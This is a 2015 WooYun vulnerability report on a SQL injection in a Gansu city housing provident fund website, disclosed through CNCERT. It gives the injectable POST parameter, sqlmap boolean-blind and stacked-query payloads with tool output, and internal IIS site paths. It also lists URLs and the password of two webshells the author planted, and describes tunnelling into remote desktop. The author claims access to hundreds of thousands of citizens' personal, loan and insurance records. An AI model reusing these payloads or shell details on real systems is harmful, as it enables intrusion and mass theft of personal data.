当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139745

漏洞标题:甘肃省某市住房公积金管理中心SQL注入可导致系统被入侵(几十万个人详细信息泄露)

相关厂商:甘肃省某住房公积金管理中心

漏洞作者: 二愣子

提交时间:2015-09-10 15:49

修复时间:2015-10-26 11:04

公开时间:2015-10-26 11:04

漏洞类型:成功的入侵事件

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-10: 细节已通知厂商并且等待厂商处理中
2015-09-11: 厂商已经确认,细节仅向厂商公开
2015-09-21: 细节向核心白帽子及相关领域专家公开
2015-10-01: 细节向普通白帽子公开
2015-10-11: 细节向实习白帽子公开
2015-10-26: 细节向公众公开

简要描述:

我先来探探风

详细说明:

1、SQL注入
注入点:

www.zyzfgjj.com/search.asp (POST)
keywords=1&image.x=10&image.y=11(参数就在keywords这里)


payload

---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 3415=3415 AND '%'='&image.x=10&image.y=11
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: keywords=1%'; WAITFOR DELAY '0:0:5'--&image.x=10&image.y=11
---
web server operating system: Windows 2008
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2000
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: keywords
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: keywords=1%' AND 3415=3415 AND '%'='&image.x=10&image.y=11
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: keywords=1%'; WAITFOR DELAY '0:0:5'--&image.x=10&image.y=11
---


网站路径信息

SITE "gjj" (id:1,bindings:http/192.168.200.3:80:,state:Started)
SITE "ghdetail" (id:2,bindings:ftp/192.168.200.3:21:,state:Unknown)
SITE "jhdetail" (id:3,bindings:ftp/192.168.200.3:7821:,state:Unknown)
SITE "nhdetail" (id:4,bindings:ftp/192.168.200.3:7921:,state:Unknown)
SITE "zygjjweb" (id:5,bindings:http/192.168.50.3:80:,state:Started)
---
command standard output:
---
VDIR "gjj/" (physicalPath:E:\gjjsoft\gjjgj)
VDIR "gjj/clpt/" (physicalPath:E:\gjjsoft\clpt)
VDIR "gjj/gjjgj/" (physicalPath:E:\gjjsoft\gjjgj)
VDIR "gjj/gjjdk/" (physicalPath:E:\gjjsoft\gjjdk)
VDIR "gjj/gjjcw/" (physicalPath:E:\gjjsoft\gjjcw)
VDIR "gjj/sjlk/" (physicalPath:E:\gjjsoft\zygjjsjlk\gjjgj)
VDIR "gjj/sjlkcw/" (physicalPath:E:\gjjsoft\zygjjsjlk\gjjcw)
VDIR "ghdetail/" (physicalPath:E:\ftp\ghdetail)
VDIR "jhdetail/" (physicalPath:E:\ftp\ghdetail\jhdetail)
VDIR "nhdetail/" (physicalPath:E:\ftp\nhdetail)
VDIR "zygjjweb/" (physicalPath:E:\


这里直接可以通过注入点getshell,权限很高~~~
菜刀马:

http://www.zyzfgjj.com/UploadFiles/check.asp 密码jjy


大马

http://www.zyzfgjj.com/Editor/Dialog/test.asp 密码jjy

漏洞证明:

1、菜刀

1.png


2、大马

2.png


下面就是各种信息泄露了,开了个lcx进远程桌面
1、15w信息

15w信息.png


2、200多万还款信息

200多万还款信息.png


3、近8w保险信息

assurance.png


4、6w多基本信息又是什么

baseinfo.png


5、抵押信息??

mortagage.png


6、3w多公务员信息?局长什么的~~~

干部工资.png


修复方案:

过滤~~~

版权声明:转载请注明来源 二愣子@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2015-09-11 11:02

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给甘肃分中心,由其后续协调网站管理单位处置。

最新状态:

暂无